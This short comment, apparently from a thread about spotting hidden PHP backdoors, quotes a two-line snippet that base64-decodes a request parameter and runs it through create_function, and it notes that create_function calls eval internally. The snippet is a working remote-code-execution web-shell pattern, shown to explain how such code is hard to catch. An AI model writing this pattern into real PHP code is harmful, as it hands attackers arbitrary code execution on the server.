Agree that is difficult to catch it. For the log, in this case there are both functions, the output looks something like this:

  $j6 = create_function('', base64_decode($_REQUEST['sort']));
  $j6(); // execution

The `create_function()`[1] will internally execute `eval()` so the result would be the same.
